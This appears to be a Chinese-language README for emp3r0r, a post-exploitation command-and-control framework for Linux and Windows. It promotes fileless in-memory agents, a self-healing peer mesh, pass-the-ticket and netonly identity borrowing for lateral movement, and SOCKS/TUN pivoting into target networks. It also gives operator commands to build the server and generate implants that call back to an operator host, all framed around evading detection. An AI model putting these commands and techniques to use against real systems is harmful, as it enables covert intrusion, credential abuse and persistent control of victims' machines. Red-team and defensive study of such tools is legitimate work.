自愈型 Gossip Mesh C2,具备辅助对等点发现、跨平台 BOF 执行与可脚本化代理。
一个面向 Linux 和 Windows 的自愈、纯内存 C2 —— 代理能够挺过断链、从不落盘,并通过脚本调用 Win32 API。
emp3r0r 是一个为 Linux 和 Windows 环境打造的后渗透框架与 C2,在这些环境中,隐蔽性和韧性并非可选项。代理不会假设与单一服务器之间始终存在可靠连接,而是组成一个自愈网状网络,在链路中断时仍能继续工作。代理不会向目标索取 Python 或 PowerShell,而是一切都在内存中执行。并且,emp3r0r 不会把你限制在单一平台的技巧上,而是同时运行 Windows BOF、Linux 对象和 Starlark 脚本 —— 全部无文件、全部进程内。
每个代理都自带脚本引擎,因此你可以直接放入新的后渗透逻辑,而无需编译或投递二进制文件。
为什么重要: 编写和扩展代理功能变得像编辑脚本一样简单,同时完全没有在目标上投放解释器或新二进制文件所带来的痕迹。
代理在第一次与你通信时,会将自己的身份绑定到一个加密密钥上 —— 而且这种绑定永不改变。
为什么重要: 会话劫持和代理克隆根本不会发生;你与之通信的每个代理,都是你当初注册的那一个。
每条 C2 链路和点对点链路都使用临时 ECDH 密钥,并采用会话派生加密密钥。
为什么重要: 即使长期密钥日后被泄露,也无法用来解密已经传输过的流量。
代理之间会相互发现,并通过 gossip 网状网络中继流量,因此当某条链路或某台服务器消失时,行动不会崩溃。
为什么重要: 网络会替你完成跳板。切断一条链路、丢失一台机器或封锁 C2 —— 代理会自行重新路由。
文件在代理之间直接传输,而不仅仅是通过 C2。
为什么重要: 投递速度快,而且对 C2 通道几乎不可见 —— 非常适合出站受限的环境。
让代理进入目标,与让它保持存活同样被认真对待。
为什么重要: 小巧、可适应且内存卫生的初始访问,意味着你可以落脚在原本无法触及的主机上。
在任一平台上以进程内方式运行编译好的 C 模块:
为什么重要: BOF 的好坏取决于其加载器 —— emp3r0r 在 Linux 和 Windows 上都能以进程内方式运行它们,不产生新进程,也不留下痕迹。
一旦你进入 Windows 主机,emp3r0r 让你能够成为主机上的用户 —— 而无需投放任何工具。
--user 标志创建一次性 netonly 会话:它们保留你代理自身的身份,仅在出站访问时借用目标用户的身份 —— 任何密码都可以,永远不会被验证。--ticket 标志导入 Kerberos 票据,实现完整的票据传递:你的网络身份变为票据的身份(例如域管理员),而你的本地身份始终不变。--token、--user 和 --ticket,因此切换身份只需一个标志 —— 包括在单条命令中创建会话并加载票据。为什么重要: 向完全没有代理运行的机器进行横向移动 —— SMB 共享、服务控制、CIFS —— 成为你工作流中的常规操作,以你借用的用户身份进行认证,而不是以磁盘上的工具身份。
无需再消耗一个植入体即可跳板:C2 运行一个 SOCKS5 代理,通过你选择的代理进行中继,而操作员侧还可以更进一步,使用透明 TUN 设备。
socks_start 1080 在 C2 上提供一个 SOCKS5 端点,通过所选代理进行隧道传输 —— 将 proxychains 或任何工具指向它,你就进入了目标网络。tun2socks start --route 10.10.0.0/24 创建一个 TUN 设备,仅将你指定的子网通过该代理路由 —— 其他所有流量继续使用你的正常连接。为什么重要: 透明地触及整个代理侧网络 —— curl 一台 DC、使用任何工具 —— 出站流量看起来来自目标网络,而不是你的操作员机器。
为什么重要: C2 通道被设计得看起来像普通流量,并在网络上保持精简。
为什么重要: 即使磁盘也被视为敌对环境 —— 代理不会留下任何明文制品供人发现。
构建 emp3r0r 需要主机上安装 Docker 或 Podman —— 无需本地 Go 工具链。
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
./install.py
安装程序会在一个一次性容器中构建所有内容,并准备好操作员套件。有用的标志:--lightweight(仅 Linux/Windows amd64,最快)、--targets OS/ARCH,...、--debug、--skip-build。
启动服务器:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py
使用服务器打印的 WireGuard 凭据进行连接:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' --server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' --operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
在操作员控制台内:
# Direct C2 agent
generate --type linux_executable --arch amd64 --cc your.domain.com
# Mesh gateway agent (also reachable from the C2 directly)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
# Mesh intermediate peer (relays for other agents)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
# Windows mesh peer over SMB named pipes (local \\.\pipe, cross-host \\host\pipe),
# AES-GCM framed like the other transports
# (requires the Windows SMB stack / logon session to reach the peer)
generate --type windows_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport smb
网状节点可以运行不同的传输方式。每个代理都会通告其中继所监听的传输方式和端口,而拨号方始终使用对等节点所通告的传输方式,因此混合网状网络(例如 Windows SMB 节点与 Linux mTLS 节点并存)会通过共享可用传输方式的对等节点进行路由,而不是假设所有人都运行本地默认值。smb 仅对 Windows 载荷接受;kcp/mtls 在所有平台上都可用。
如果 emp3r0r 在你的安全研究和测试中证明了其价值,请考虑通过 GitHub Sponsors 支持其持续开发。